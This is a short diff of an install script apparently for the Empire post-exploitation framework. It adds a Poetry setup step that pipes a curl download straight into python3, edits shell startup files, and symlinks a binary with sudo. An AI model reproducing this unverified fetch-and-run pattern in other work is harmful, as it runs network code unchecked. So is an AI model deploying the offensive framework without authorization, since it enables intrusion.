+if ! command_exists poetry; then
+ curl -sSL https://install.python-poetry.org | python3 -
+ export PATH="$HOME/.local/bin:$PATH"
+ echo "export PATH=$HOME/.local/bin:$PATH" >> ~/.bashrc
+ echo "export PATH=$HOME/.local/bin:$PATH" >> ~/.zshrc
+ sudo ln -s $HOME/.local/bin/poetry /usr/bin
fi
echo -e "\x1b[1;34m[*] Installing Packages\x1b[0m"
poetry config virtualenvs.in-project true
+poetry config virtualenvs.prefer-active-python true
poetry install
echo -e '\x1b[1;32m[+] Install Complete!\x1b[0m'
@@ -287,7 +326,3 @@ echo -e ''
echo -e '\x1b[1;32m[+] Run the following commands in separate terminals to start Empire\x1b[0m'
echo -e '\x1b[1;34m[*] ./ps-empire server\x1b[0m'
echo -e '\x1b[1;34m[*] ./ps-empire client\x1b[0m'
-
-if $SOURCE_MESSAGE; then
- echo -e '\x1b[1;34m[*] source ~/.bashrc to enable nim \x1b[0m'
-fi